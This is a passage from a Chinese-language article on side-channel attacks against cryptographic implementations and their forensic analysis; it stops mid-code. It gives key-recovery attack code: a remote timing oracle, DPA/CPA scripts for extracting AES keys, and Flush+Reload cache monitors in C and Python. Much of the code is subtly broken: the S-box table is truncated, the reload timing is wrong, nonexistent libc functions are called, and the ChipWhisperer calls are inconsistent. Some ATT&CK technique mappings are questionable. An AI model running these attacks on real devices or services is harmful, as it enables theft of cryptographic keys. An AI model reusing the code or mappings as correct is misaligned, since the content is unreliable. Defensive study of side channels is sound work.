密码学的安全性在学术层面通常基于数学困难假设——RSA依赖大整数分解的困难性,ECC依赖椭圆曲线离散对数问题的困难性,AES依赖混淆与扩散结构的抗分析强度。然而,在实际部署中,密码学算法的物理实现(software implementation或hardware implementation)会通过各种非预期的物理泄漏信道(Side Channel)暴露密钥信息。这些侧信道包括但不限于执行时间差异、功耗波动、电磁辐射、声音信号、光学信号、缓存访问模式等。侧信道攻击(Side-Channel Attack, SCA)自1996年Paul Kocher首次提出时序攻击以来,已发展成为一个庞大的攻击技术体系,成为密码学实现安全领域最核心的威胁之一。
从取证分析(Forensic Analysis)的角度看,侧信道攻击留下的痕迹往往比传统网络攻击更加隐蔽和难以检测。攻击者不需要利用软件漏洞,不需要注入恶意代码,甚至不需要与目标系统进行任何网络交互——仅通过观察密码学操作的物理表现就能推断出密钥。这意味着传统的入侵检测系统、防病毒软件和网络监控工具可能完全无法捕获侧信道攻击活动。因此,构建针对密码学实现安全的取证分析能力,需要从底层硬件信号采集到上层协议分析的全栈视角,理解侧信道攻击的技术原理、攻击痕迹特征和取证证据固定方法。
本文从安全研究与取证实战视角出发,系统性地覆盖密码学侧信道攻击的主要类别——时序攻击、功耗分析、电磁侧信道、缓存攻击、故障注入——以及密码库实现漏洞、HSM/TPM硬件安全模块取证等关键领域,通过真实案例还原侧信道攻击的完整取证流程,并提供自动化检测脚本与Sigma规则。
0x01 技术基础与取证概述
密码学实现安全 vs 密码学算法安全
密码学安全需要从两个维度评估:算法安全(Algorithmic Security)和实现安全(Implementation Security)。算法安全关注数学层面的困难性假设,即在给定安全参数下,没有任何已知算法能在合理时间内攻破密码方案。而实现安全关注的是算法在特定硬件/软件平台上的实际运行是否泄漏了密钥信息。
| 维度 | 算法安全 | 实现安全 |
|---|
| 关注对象 | 数学困难假设 | 物理实现过程 |
| 威胁模型 | 数学攻击(数域筛、Pollard rho等) | 侧信道泄漏、故障注入 |
| 分析方法 | 密码分析学 | 信号处理、统计学、硬件工程 |
| 评估标准 | 安全比特位数、复杂度下界 | 信噪比、攻击样本数、物理接触要求 |
| 代表性失败 | Rainbow签名被破解 | RSA CRT时序攻击、AES DPA |
算法安全即使达到理论完美,实现安全的缺陷仍然可能完全瓦解密码系统的安全性。这一事实在过去二十年间被无数真实攻击所验证——从Paul Kocher的RSA时序攻击到Kocher-Jaffe-Jun的差分功耗分析,从缓存时序攻击到Spectre/Meltdown微架构侧信道,实现安全始终是密码学实际部署中最薄弱的环节。
侧信道攻击分类学
侧信道攻击按信息泄漏的物理媒介可分为以下主要类别:
| 攻击类别 | 信息泄漏媒介 | 所需接触级别 | MITRE ATT&CK | 攻击复杂度 |
|---|
| 时序攻击(Timing Attack) | 执行时间差异 | 远程可利用(网络) | T1212(Exploitation for Credential Access) | 低-中 |
| 功耗分析(Power Analysis) | 芯片功耗波动 | 物理接触(探针连接) | T1212 | 中-高 |
| 电磁分析(Electromagnetic Analysis) | 电磁辐射 | 近距离(非接触,厘米级) | T1212 | 中-高 |
| 缓存攻击(Cache Attack) | CPU缓存访问模式 | 本地进程/同物理机 | T1005(Data from Local System) | 中 |
| 声学攻击(Acoustic Attack) | 键盘/运算声音 | 物理接近(米级) | T1212 | 中 |
| 光学攻击(Optical Attack) | LED闪烁/屏幕辐射 | 光学可视范围 | T1212 | 高 |
| 故障注入(Fault Injection) | 电压/时钟/激光/电磁脉冲 | 物理接触 | T1200(Hardware Additions) | 高 |
侧信道攻击还可按攻击方法分为被动攻击和主动攻击:被动攻击仅观察密码操作的物理表现(如功耗、时间),主动攻击则通过注入故障(如电压毛刺、激光脉冲)诱导密码运算产生错误以提取密钥信息。
侧信道在真实威胁环境中的定位
在真实威胁环境中,侧信道攻击通常出现在以下场景:
- 智能卡与支付终端:EMV芯片卡的功耗分析和故障注入,导致银行卡克隆
- 嵌入式设备固件提取:通过JTAG调试接口和侧信道获取固件中的密钥
- HSM/TPM攻击:针对硬件安全模块的侧信道提取根密钥
- 云端虚拟机攻击:利用共享CPU缓存的侧信道跨VM提取密钥(Spectre/Meltdown)
- TLS实现漏洞:利用密码库实现的时序泄漏提取服务器私钥
- 区块链钱包:硬件钱包(如Ledger、Trezor)的侧信道攻击
MITRE ATT&CK框架将侧信道攻击主要映射到以下技术:
| ATT&CK技术 | 技术编号 | 与侧信道的关联 |
|---|
| Exploitation for Credential Access | T1212 | 侧信道提取密钥/凭据 |
| Steal Web Session Cookie | T1539 | 缓存攻击提取TLS会话密钥 |
| Modify System Process | T1543 | 故障注入绕过安全检查 |
| Input Capture | T1056 | 声学攻击捕获键盘输入 |
取证场景:硬件设备、嵌入式系统、密码库、HSM/TPM
侧信道取证的主要场景包括:
| 取证场景 | 侧信道类型 | 典型取证证据 | 检测难度 |
|---|
| 密码库漏洞审计 | 时序攻击 | 代码模式、时间统计分布 | 中 |
| 硬件设备逆向 | 功耗/电磁 | 信号采集设备痕迹、物理探针 | 高 |
| 智能卡攻击 | 功耗/故障 | 卡片物理损伤、异常操作日志 | 高 |
| 云环境缓存攻击 | 缓存时序 | 异常缓存访问模式、进程调度 | 极高 |
| HSM/TPM攻击 | 多种侧信道 | 固件修改痕迹、异常操作记录 | 极高 |
| 嵌入式IoT设备 | JTAG/侧信道 | 调试接口激活痕迹、固件提取 | 高 |
取证工具链总览
侧信道安全取证需要一套专业的硬件和软件工具链:
| 工具名称 | 类型 | 用途 | 开源/商业 |
|---|
| ChipWhisperer | 硬件+软件 | 功耗分析与故障注入平台 | 开源 |
| Riscure Inspector | 软件 | 侧信道分析自动化平台 | 商业 |
| ChipScope | 硬件 | Xilinx FPGA片上逻辑分析 | 商业 |
| JTAGulator | 硬件 | JTAG/UART调试接口发现 | 开源 |
| GoodFET | 硬件 | SPI/I2C/JTAG调试器 | 开源 |
| oscilloscope (Siglent/Rigol) | 硬件 | 通用示波器,功耗信号采集 | 商业 |
| electromagnetic probe | 硬件 | 近场电磁辐射采集 | 商业/自制 |
| Ghidra/IDA Pro | 软件 | 固件逆向分析 | 开源/商业 |
| power-analyzer | 软件 | 功耗波形统计分析 | 开源 |
| FLIPPER | 硬件 | 多功能硬件安全工具 | 商业 |
git clone https://github.com/newaetech/chipwhisperer.git
cd chipwhisperer
./setup.py install
pip install chipwhisperer
python -c "import chipwhisperer; print(chipwhisperer.__version__)"
0x02 时序攻击与精确计时分析
时序攻击原理
时序攻击(Timing Attack)是最早的侧信道攻击形式,由Paul Kocher于1996年首次系统性提出。其核心思想极其简洁:密码学操作的执行时间取决于密钥的值,通过统计大量操作的时间差异可以逐步推断出密钥位。
RSA CRT 时序攻击:使用中国剩余定理(CRT)优化的RSA解密,其计算量取决于私钥的各个位。具体来说,在Montgomery乘法的平方-乘(square-and-multiply)算法中,当密钥位为1时执行额外的乘法操作,当密钥位为0时跳过该操作。这种差异导致处理密钥位为1的中间步骤比密钥位为0的中间步骤耗时更长。
ECC 标量乘法时序攻击:椭圆曲线密码中的标量乘法 k·P 同样使用平方-乘(或双倍-加)算法。NAF(Non-Adjacent Form)编码和滑动窗口法等优化技术虽然减少了运算量,但引入了数据依赖的时序差异。
RSA解密的时序泄漏模型可表示为:
T(m, d) = Σ_{i=0}^{n-1} [d_i · T_mul + T_sq] + noise
其中 d_i 是私钥 d 的第 i 位,T_mul 是乘法操作时间,T_sq 是平方操作时间,noise 是随机噪声。当 d_i=1 时执行乘法(耗时 T_mul),d_i=0 时仅执行平方(耗时 T_sq)。通过多次采样并统计平均时间,可以逐步确定每一位 d_i 的值。
精确计时方法论
精确计时是时序攻击的基础。不同平台的计时精度差异巨大,直接影响攻击可行性:
| 计时方法 | 精度 | 平台 | 适用场景 |
|---|
rdtsc 指令 | ~1 CPU周期 | x86/x64 | 微观时序分析 |
perf_counter | ~1 CPU周期 | x86/x64 | 内核级精确计时 |
clock_gettime(CLOCK_MONOTONIC) | ~1ns | POSIX | 跨平台精确计时 |
QueryPerformanceCounter | ~0.1μs | Windows | Windows平台计时 |
| 高精度示波器 | ~1ns | 通用 | 硬件级功耗时序 |
| 网络往返时间 | ~1ms | 网络 | 远程时序攻击 |
import time
import ctypes
class HighResTimer:
def __init__(self):
if hasattr(time, 'perf_counter_ns'):
self._counter = time.perf_counter_ns
else:
self._counter = lambda: int(time.perf_counter() * 1e9)
def measure(self, func, iterations=10000):
times = []
for _ in range(iterations):
start = self._counter()
func()
end = self._counter()
times.append(end - start)
return times
def statistical_analysis(self, times):
import statistics
return {
'mean': statistics.mean(times),
'stdev': statistics.stdev(times),
'median': statistics.median(times),
'min': min(times),
'max': max(times),
'cv': statistics.stdev(times) / statistics.mean(times)
}
timer = HighResTimer()
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
def rsa_sign():
private_key.sign(b'\x00' * 32, hashes.SHA256())
stats = timer.statistical_analysis(timer.measure(rsa_sign, iterations=5000))
print(f"RSA signing mean time: {stats['mean']} ns")
print(f"Coefficient of variation: {stats['cv']:.4f}")
网络协议时序泄漏
远程时序攻击不依赖于本地精确计时,而是通过网络往返时间(Round-Trip Time, RTT)来推断服务端密码学操作的差异。主要的远程时序攻击目标包括:
- TLS握手时序:服务端在处理ClientHello时,选择不同的密码套件、验证客户端证书、执行密钥交换,这些步骤的时间差异可能泄漏服务端配置或私钥信息
- MAC验证时序:HMAC或数字签名的验证过程如果不使用常量时间比较,攻击者可以通过逐字节提交并观察响应时间差异来逐位恢复MAC值
- 登录认证时序:用户名验证和密码验证的时间分离可能允许攻击者区分"用户名不存在"和"密码错误"两种状态
import socket
import time
import statistics
class TimingOracle:
def __init__(self, host, port):
self.host = host
self.port = port
def measure_rtt(self, data, iterations=100):
rtts = []
for _ in range(iterations):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((self.host, self.port))
start = time.perf_counter_ns()
sock.sendall(data)
try:
response = sock.recv(4096)
except socket.timeout:
pass
end = time.perf_counter_ns()
rtts.append(end - start)
sock.close()
return rtts
def detect_timing_leak(self, label_a, label_b):
times_a = self.measure_rtt(label_a)
times_b = self.measure_rtt(label_b)
mean_a = statistics.mean(times_a)
mean_b = statistics.mean(times_b)
std_a = statistics.stdev(times_a)
std_b = statistics.stdev(times_b)
n = len(times_a)
pooled_std = ((std_a**2 + std_b**2) / 2) ** 0.5
effect_size = abs(mean_a - mean_b) / pooled_std
return {
'mean_diff_ns': mean_b - mean_a,
'effect_size': effect_size,
'significant': effect_size > 0.5
}
推断式时序分析 vs 比较式时序分析
时序攻击可分为两种基本范式:
| 分析方法 | 原理 | 适用场景 | 所需样本数 | 典型应用 |
|---|
| 推断式(Inferential) | 通过绝对执行时间推断密钥位 | 本地/高精度环境 | 数千-数万 | RSA标量乘法分析 |
| 比较式(Comparative) | 对比不同输入的时间差推断密钥 | 远程/网络环境 | 数万-数十万 | MAC验证时序、TLS握手 |
| 差分式(Differential) | 统计多组输入的时间分布差异 | 通用 | 数千 | 缓存时序攻击 |
时序侧信道证据采集与统计分析方法
在取证场景中,时序侧信道证据的采集和分析需要系统化的方法论:
import numpy as np
from scipy import stats
class TimingForensics:
def __init__(self, trace_file):
self.traces = self._load_traces(trace_file)
def _load_traces(self, filepath):
import json
with open(filepath) as f:
return json.load(f)
def wilcoxon_test(self, group_a, group_b):
statistic, p_value = stats.wilcoxon(group_a, group_b)
return {
'test': 'Wilcoxon signed-rank',
'statistic': statistic,
'p_value': p_value,
'significant_005': p_value < 0.05
}
def mannwhitney_test(self, group_a, group_b):
statistic, p_value = stats.mannwhitneyu(
group_a, group_b, alternative='two-sided'
)
return {
'test': 'Mann-Whitney U',
'statistic': statistic,
'p_value': p_value,
'significant_005': p_value < 0.05
}
def detect_outliers(self, data, threshold=3.0):
z_scores = np.abs(stats.zscore(data))
return np.where(z_scores > threshold)[0]
def autocorrelation_analysis(self, data, max_lag=50):
n = len(data)
mean = np.mean(data)
var = np.var(data)
autocorr = []
for lag in range(1, max_lag + 1):
cov = np.sum((data[:n-lag] - mean) * (data[lag:] - mean)) / n
autocorr.append(cov / var if var > 0 else 0)
return autocorr
def generate_report(self):
report = {
'total_traces': len(self.traces),
'statistics': {},
'anomalies': []
}
if self.traces:
trace_lengths = [len(t) for t in self.traces]
report['statistics'] = {
'mean_length': np.mean(trace_lengths),
'std_length': np.std(trace_lengths),
'total_samples': sum(trace_lengths)
}
return report
缓存计时攻击
缓存计时攻击利用CPU缓存层级(L1/L2/L3 Cache)的访问时间差异来推断密码学操作的内存访问模式,从而间接恢复密钥信息。这是近年来最活跃的侧信道攻击研究方向之一。
| 攻击技术 | 原理 | 所需条件 | 信息泄漏精度 | MITRE ATT&CK |
|---|
| Flush+Reload | 利用共享内存的缓存状态检测 | 共享库/共享内存页面 | 高(逐行) | T1005 |
| Prime+Probe | 填充缓存集后探测被驱逐的行 | 共享物理机(无需共享内存) | 中(逐缓存集) | T1005 |
| Flush+Flush | 利用Flush操作本身的时序差异 | 共享内存页面 | 高 | T1005 |
| Evict+Time | 逐出缓存后测量操作时间变化 | 共享物理机 | 低 | T1005 |
Flush+Reload攻击的实现原理:两个进程共享同一物理内存页(如共享库的代码页)。攻击者先Flush目标缓存行(使用clflush指令或clflushopt),等待受害者执行密码学操作,然后Reload该缓存行并测量加载时间。如果时间短(cache hit),说明受害者访问了该内存地址;如果时间长(cache miss),说明受害者未访问。
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>
#define CACHE_LINE_SIZE 64
#define FLUSH_THRESHOLD 120
uint8_t flush_reload(uint8_t *addr) {
uint64_t t1 = __rdtsc();
_mm_clflush(addr);
_mm_mfence();
uint64_t t2 = __rdtsc();
_mm_mfence();
uint64_t delta = t2 - t1;
return delta < FLUSH_THRESHOLD;
}
void monitor_cache_access(uint8_t *target, size_t target_size,
size_t iterations) {
uint64_t hit_counts[256] = {0};
for (size_t i = 0; i < iterations; i++) {
for (size_t j = 0; j < target_size; j += CACHE_LINE_SIZE) {
_mm_clflush(&target[j]);
}
_mm_mfence();
// 等待受害者执行操作
for (volatile int k = 0; k < 100; k++);
for (size_t j = 0; j < target_size; j += CACHE_LINE_SIZE) {
if (flush_reload(&target[j])) {
hit_counts[j / CACHE_LINE_SIZE]++;
}
}
}
}
perf stat -e cache-misses,cache-references,L1-dcache-load-misses \
./target_binary 2>&1 | grep -E "cache|L1"
perf record -e L1-dcache-load-misses -ag -- sleep 10
perf report
0x03 功耗分析攻击 (SPA/DPA/CPA)
简单功耗分析 (SPA)
简单功耗分析(Simple Power Analysis, SPA)通过直接观察单条或少量功耗波形来推断密钥信息。在RSA的平方-乘算法中,乘法操作和平方操作的功耗模式差异明显——乘法操作执行更多的门电路翻转,消耗更多的动态功耗。
SPA攻击的关键在于,攻击者可以直接从功耗波形中读出密钥位序列。例如,在RSA解密的平方-乘算法中:
for i from n-1 downto 0:
result = result * result mod N // 平方操作
if d_i == 1:
result = result * m mod N // 乘法操作
功耗波形中会出现两种明显的操作模式:单一峰值(仅平方)和双峰(平方+乘法)。通过观察峰的间隔模式,攻击者可以直接读出密钥位序列 d_i。
SPA攻击对AES的实现同样有效。在AES的SubBytes操作中,S盒查表操作的功耗泄漏取决于输入值,通过简单的功耗波形对比即可区分不同的S盒输入/输出。
差分功耗分析 (DPA)
差分功耗分析(Differential Power Analysis, DPA)利用统计方法从大量功耗轨迹中提取密钥信息。即使单条轨迹的信噪比很低,通过对数千条轨迹进行统计分析,DPA仍能可靠地恢复密钥。
DPA攻击的核心步骤:
- 采集阶段:对目标设备施加大量随机或已知的明文/密文,同时采集每条操作的功耗波形
- 假设阶段:猜测密钥的部分位值,计算假设中间值(如AES S盒输出)
- 分组阶段:根据假设中间值将功耗轨迹分为两组(比特位为0和比特位为1)
- 统计阶段:计算两组轨迹的平均功耗差(差分曲线),差分峰值位置即为正确密钥位对应的时刻
DPA的数学基础是:当假设密钥位正确时,分组后的功耗轨迹在对应时刻会出现显著的统计差异;当假设密钥位错误时,分组是随机的,差分曲线趋近于零。
import numpy as np
from chipwhisperer import scope, target, hw
class DPAAttack:
def __init__(self, num_traces=5000, plaintext_bits=8):
self.num_traces = num_traces
self.plaintext_bits = plaintext_bits
def hamming_weight(self, value):
return bin(value).count('1')
def sbox_output(self, plaintext, key_guess):
return hw(0x63 ^ (plaintext ^ key_guess)) % 256
def dpa_attack(self, traces, plaintexts):
num_samples = traces.shape[1]
best_guess = np.zeros(self.plaintext_bits, dtype=int)
correlation = np.zeros((256, num_samples))
for byte_idx in range(self.plaintext_bits):
for key_guess in range(256):
hypothesis = np.array([
self.sbox_output(pt[byte_idx], key_guess)
for pt in plaintexts
])
weights = np.array([self.hamming_weight(h) for h in hypothesis])
for sample_idx in range(num_samples):
correlation[key_guess][sample_idx] = np.abs(
np.corrcoef(weights, traces[:, sample_idx])[0, 1]
)
best_guess[byte_idx] = np.argmax(
np.max(correlation, axis=1)
)
print(f"Byte {byte_idx}: key=0x{best_guess[byte_idx]:02x}, "
f"correlation={np.max(correlation):.4f}")
return best_guess
def collect_traces(self):
traces = []
plaintexts = []
for _ in range(self.num_traces):
pt = np.random.bytes(16)
traces.append(self._measure_power(pt))
plaintexts.append(np.frombuffer(pt, dtype=np.uint8))
return np.array(traces), np.array(plaintexts)
相关功耗分析 (CPA)
相关功耗分析(Correlation Power Analysis, CPA)是DPA的统计增强版本,使用Pearson相关系数替代简单的差分方法。CPA在处理高噪声环境时表现更优,是目前最广泛使用的功耗分析技术。
CPA的相关系数计算:
r(k) = |Σ(x_i - x̄)(y_i - ȳ)| / √(Σ(x_i - x̄)² × Σ(y_i - ȳ)²)
其中 x_i 是假设模型的功耗预测值(基于Hamming Weight或Hamming Distance模型),y_i 是实际测量的功耗值。当猜测密钥 k 正确时,r(k) 会出现明显的峰值。
| 功耗分析方法 | 统计工具 | 所需轨迹数 | 信噪比要求 | 自动化程度 |
|---|
| SPA | 目视分析 | 1-10条 | 高 | 低 |
| DPA | 均值差分 | 1000-10000条 | 中 | 中 |
| CPA | Pearson相关 | 500-5000条 | 中-低 | 高 |
| 高阶DPA | 多位联合统计 | 10000+条 | 低 | 高 |
汉明重量/汉明距离模型
功耗分析的功耗泄漏模型主要分为两类:
汉明重量模型(Hamming Weight Model):假设功耗与数据的汉明重量(即二进制表示中1的个数)成正比。适用于寄存器在写入新值时,功耗与新值的汉明重量相关。
汉明距离模型(Hamming Distance Model):假设功耗与两次连续状态之间的汉明距离(即翻转的比特位数)成正比。适用于CMOS电路中,功耗主要由信号翻转引起的电容充放电决定。汉明距离模型更符合现代CMOS电路的功耗特性。
HW(x) = |{i : x_i = 1}| // 汉明重量
HD(x, y) = HW(x ⊕ y) // 汉明距离
P_power ∝ HD(current_state, previous_state) // 功耗泄漏模型
功耗采集硬件
功耗采集是功耗分析攻击的物理基础。采集设备的性能直接影响攻击的可行性:
| 采集设备 | 采样率 | 分辨率 | 带宽 | 价格范围 | 适用场景 |
|---|
| Rigol DS1054Z | 1 GSa/s | 8-bit | 50 MHz | $400 | 入门级SPA |
| Siglent SDS1104X-E | 1 GSa/s | 8-bit | 100 MHz | $500 | DPA/CPA基础 |
| ChipWhisperer Husky | 200 MSa/s | 12-bit | - | $500 | 专业侧信道分析 |
| LeCroy WaveRunner | 4 GSa/s | 8-bit | 2 GHz | $5000+ | 高端SPA/DPA |
| PicoScope 6424E | 1 GSa/s | 12-bit | 200 MHz | $2000 | 高分辨率功耗采集 |
git clone https://github.com/newaetech/chipwhisperer-husky.git
pip install chipwhisperer
cw.scope.setup(gain=45, num_samples=2400)
cw.target.simpleserial_write('p', plaintext)
trace = cw.capture.get_num_traces(1)
cw.plot(trace)
DES/AES/RSA 的功耗分析实战案例
以AES-128的CPA攻击为例,ChipWhisperer平台上的完整攻击流程:
import chipwhisperer as cw
import numpy as np
scope = cw.scope()
target = cw.target(scope)
scope.setup(gain=45, num_samples=2400, offset=0)
scope.adc.samples = 2400
scope.clock.clkgen_freq = 7370000
scope.trigger.io = False
scope.io.hs2 = "serial"
known_key = np.array([0x00, 0x11, 0x22, 0x33, 0x44, 0x55,
0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb,
0xcc, 0xdd, 0xee, 0xff], dtype=np.uint8)
num_traces = 5000
traces = []
texts = []
for i in range(num_traces):
text = np.random.randint(0, 256, 16, dtype=np.uint8)
target.simpleserial_write('p', text.tobytes())
scope.capture()
trace = scope.capture.adc.traces[0]
response = target.simpleserial_read('r', 16)
traces.append(trace)
texts.append(text)
traces = np.array(traces)
texts = np.array(texts)
def sbox(in_val):
sbox_table = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,
0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76
]
return sbox_table[in_val]
def hamming_weight(val):
return bin(val).count('1')
recovered_key = np.zeros(16, dtype=np.uint8)
for byte_idx in range(16):
best_corr = 0
best_guess = 0
for key_guess in range(256):
hyp = np.array([hamming_weight(sbox(texts[i][byte_idx] ^ key_guess))
for i in range(num_traces)])
correlations = []
for sample in range(traces.shape[1]):
corr = np.abs(np.corrcoef(hyp, traces[:, sample])[0, 1])
correlations.append(corr)
max_corr = max(correlations)
if max_corr > best_corr:
best_corr = max_corr
best_guess = key_guess
recovered_key[byte_idx] = best_guess
print(f"Byte {byte_idx:2d}: 0x{best_guess:02x} (corr={best_corr:.4f})")
print(f"\nRecovered key: {recovered_key}")
print(f"Known key: {known_key}")
print(f"Match: {np.array_equal(recovered_key, known_key)}")
抗DPA对策
针对功耗分析攻击,工业界发展出多种防御对策:
| 防御技术 | 原理 | 对SPA效果 | 对DPA/CPA效果 | 性能开销 |
|---|
| 随机掩码(Masking) | 用随机值隐藏中间数据 | 高 | 高 | 2x-5x |
| 随机延迟(Hiding) | 随机化操作时间或插入空操作 | 中 | 中 | 1.5x-3x |
| 独立随机轮(Shuffling) | 随机化操作顺序 | 高 | 中 | 1.2x-2x |
| 功耗平衡设计(Balancing) | 差分逻辑使功耗恒定 | 高 | 高 | 2x-4x |
| 总线加密 | 加密内存总线上的数据 | 中 | 高 | 1.1x-1.5x |
def masked_sbox(input_byte, mask):
masked_input = input_byte ^ mask
sbox_output = sbox(masked_input)
return sbox_output ^ mask
def secure_compare(a, b):
result = 0
for i in range(len(a)):
result |= a[i] ^ b[i]
return result == 0
0x04 电磁侧信道攻击与取证
电磁辐射侧信道原理
根据Maxwell方程组,任何时变电流都会产生电磁辐射。芯片内部的CMOS门电路在翻转状态时,产生的瞬态电流通过芯片封装、引脚和PCB走线时,会辐射出可被近场探头检测到的电磁信号。这些电磁信号携带了芯片内部运算的数据依赖信息,构成了电磁侧信道攻击的物理基础。
与功耗分析相比,电磁分析(Electromagnetic Analysis, EMA)具有以下独特优势:
| 特征 | 功耗分析 (PA) | 电磁分析 (EMA) |
|---|
| 传感器位置 | 电源线上(串联电阻) | 芯片表面或封装外部(非接触) |
| 信号空间分辨率 | 全芯片整体功耗 | 可定位到具体运算单元 |
| 信号噪声 | 高(包含大量无关电路功耗) | 低(聚焦特定区域) |
| 物理接触要求 | 需要电气连接 | 非接触,厘米级距离 |
| 攻击隐蔽性 | 需要改装硬件 | 隐蔽性更高 |
| 适用目标 | 通用 | 智能卡、IC芯片特别适合 |
电磁近场探头与信号采集
电磁近场探头是EMA攻击的核心硬件。根据检测目标的不同,探头可分为磁场探头(H-field probe)和电场探头(E-field probe):
| 探头类型 | 检测对象 | 典型频率范围 | 制作难度 | 灵敏度 |
|---|
| 微型磁场探头 | 磁场分量 | 1MHz-1GHz | 低(自制) | 中 |
| 商用EM探头 | 电磁场全分量 | 100kHz-6GHz | N/A(购买) | 高 |
| 微针探头 | 芯片表面近场 | 100MHz-3GHz | 高 | 极高 |
| 自制PCB探头 | 磁场分量 | 1MHz-500MHz | 低 | 中-低 |
自制简易EM探头的方法:
import numpy as np
import struct
class EMProbeCapture:
def __init__(self, sample_rate=100e6, num_samples=100000):
self.sample_rate = sample_rate
self.num_samples = num_samples
def bandpass_filter(self, signal, low_freq, high_freq):
from scipy import signal as sig
nyquist = self.sample_rate / 2
low = low_freq / nyquist
high = high_freq / nyquist
b, a = sig.butter(4, [low, high], btype='band')
return sig.filtfilt(b, a, signal)
def compute_snr(self, signal, noise_region_start, noise_region_end):
signal_power = np.mean(signal ** 2)
noise_region = signal[noise_region_start:noise_region_end]
noise_power = np.mean(noise_region ** 2)
if noise_power == 0:
return float('inf')
return 10 * np.log10(signal_power / noise_power)
def compute_mutual_information(self, traces, plaintexts):
num_traces, num_samples = traces.shape
mi_values = np.zeros(num_samples)
for sample in range(num_samples):
bins = 50
hist_2d, _, _ = np.histogram2d(
traces[:, sample], plaintexts, bins=bins
)
p_joint = hist_2d / num_traces
p_x = np.sum(p_joint, axis=1)
p_y = np.sum(p_joint, axis=0)
p_xp_y = np.outer(p_x, p_y)
nonzero = (p_joint > 0) & (p_xp_y > 0)
mi = np.sum(p_joint[nonzero] * np.log2(
p_joint[nonzero] / p_xp_y[nonzero]
))
mi_values[sample] = mi
return mi_values
def align_traces(self, traces, reference_trace):
num_traces = traces.shape[0]
aligned = np.zeros_like(traces)
for i in range(num_traces):
correlation = np.correlate(traces[i], reference_trace, mode='full')
shift = np.argmax(correlation) - len(reference_trace) + 1
aligned[i] = np.roll(traces[i], -shift)
return aligned
EMA在智能卡攻击中的应用
智能卡(Smart Card)是EMA攻击最主要的目标之一。由于智能卡芯片面积小、功耗低、封装薄,电磁探头可以近距离采集到高信噪比的电磁泄漏信号。
在EMV支付卡的EMA攻击中,攻击者通常使用以下流程:
- 使用读卡器触发智能卡执行密码学操作(如DES/AES解密或RSA解密)
- 将EM探头放置在智能卡芯片表面
- 采集电磁辐射波形
- 使用CPA方法分析电磁信号与密钥的相关性
- 逐步恢复完整的密钥
class SmartCardEMAForensics:
def __init__(self):
self.traces = []
self.apdus = []
def analyze_emv_transaction(self, emv_trace):
apdus = self._parse_apdus(emv_trace)
for apdu in apdus:
if apdu['cla'] == 0x80 and apdu['ins'] in [0x88, 0x82]:
print(f"Authentication APDU detected: {apdu['ins']:02x}")
print(f" Data length: {len(apdu['data'])} bytes")
self.apdus.append(apdu)
def _parse_apdus(self, trace):
apdus = []
for packet in trace:
if len(packet) >= 5:
apdus.append({
'cla': packet[0], 'ins': packet[1],
'p1': packet[2], 'p2': packet[3],
'data': packet[5:-2] if len(packet) > 7 else b'',
'sw': packet[-2:] if len(packet) >= 2 else None
})
return apdus
def detect_weak_crypto(self, apdu):
if apdu['ins'] == 0x88:
return {"algorithm": "3DES", "vulnerability": "DPA/EMA feasible"}
elif apdu['ins'] == 0x82:
return {"algorithm": "AES-CMAC", "vulnerability": "Higher resistance"}
return {"algorithm": "Unknown", "vulnerability": "Manual analysis required"}
电磁辐射定位芯片内部运算单元
高分辨率的电磁分析可以精确定位芯片内部特定运算单元的物理位置。这种定位能力不仅有助于攻击者优化探头放置位置,也是取证分析中重建攻击场景的重要手段:
- AES S盒区域:AES的8个S盒查表操作会产生8个独立的电磁辐射区域,通过扫描芯片表面可以精确定位这些区域
- RSA乘法器:RSA的Montgomery乘法器在执行大数乘法时的电磁特征最为明显
- 随机数生成器:TRNG(True Random Number Generator)的电磁特征可用于评估其随机性质量
电磁侧信道与功耗分析的互补关系
EMA和PA在取证分析中形成互补关系。当一种方法受限时,另一种方法可能提供额外的证据:
| 场景 | PA受限原因 | EMA优势 |
|---|
| 密封设备 | 无法接入电源线 | 非接触式EM采集 |
| 多芯片系统 | 整体功耗无法分辨 | EM可单独采集特定芯片 |
| 高噪声环境 | 电源噪声大 | EM可通过滤波抑制 |
| 多算法并行 | 功耗混合难以分离 | EM空间分辨率可区分 |
0x05 缓存侧信道攻击 (Flush+Reload/Prime+Probe)
CPU 缓存架构与侧信道攻击面
现代CPU采用多级缓存架构来弥合处理器速度与内存速度之间的鸿沟。典型的缓存层级包括L1(32-64KB,1-4 CPU周期)、L2(256KB-1MB,10-20 CPU周期)和L3(数MB-数十MB,30-100 CPU周期)。缓存的设计基于时间和空间局部性原则,但这种优化恰好为侧信道攻击提供了可利用的信息泄漏信道。
CPU缓存在侧信道攻击中的关键特性:
| 缓存特性 | 对攻击的影响 | 具体机制 |
|---|
| 共享性 | 跨核/跨VM攻击 | L3缓存通常在所有核心间共享 |
| 关联性 | 缓存集映射可预测 | 组相联映射策略可被逆向 |
| 替换策略 | 驱逐时机可预测 | LRU策略可被操控 |
| 一致性协议 | 跨核状态可观测 | MESI/MOESI协议产生可测量延迟 |
Flush+Reload
Flush+Reload是最精确的缓存侧信道攻击,利用共享内存页面(如共享库、共享页)来检测目标进程对特定内存地址的访问。
攻击步骤:
- Flush:攻击者使用
clflush指令清除目标缓存行 - 等待:等待目标进程执行密码学操作
- Reload:攻击者重新加载目标缓存行并测量时间
- 判断:如果加载时间短(cache hit),说明目标访问了该地址
import ctypes
import time
import numpy as np
class FlushReloadAttack:
def __init__(self, target_lib_path):
self.libc = ctypes.CDLL(None)
self._rdtsc = self._get_rdtsc_func()
self.target_lib = ctypes.CDLL(target_lib_path)
self.cache_line_size = 64
def _get_rdtsc_func(self):
lib = ctypes.CDLL(None)
func = lib.__rdtsc
func.restype = ctypes.c_uint64
return func
def flush(self, addr):
self.libc.clflush(ctypes.c_void_p(addr))
def reload(self, addr):
start = self._rdtsc()
data = ctypes.c_char.from_address(addr).value
end = self._rdtsc()
return end - start
def monitor(self, base_addr, num_lines, iterations=10000):
hit_matrix = np.zeros((iterations, num_lines))
for i in range(iterations):
for line in range(num_lines):
addr = base_addr + line * self.cache_line_size
self.flush(addr)
self.libc._mm_mfence()
time.sleep(0.001)
for line in range(num_lines):
